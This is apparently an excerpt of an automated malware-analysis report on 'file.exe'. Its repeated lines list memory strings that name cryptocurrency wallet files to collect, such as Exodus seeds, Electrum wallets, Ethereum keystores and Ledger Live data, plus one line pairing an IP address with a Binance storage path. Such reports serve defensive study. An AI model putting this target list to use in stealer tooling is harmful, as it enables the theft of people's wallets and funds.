Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2422651725.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 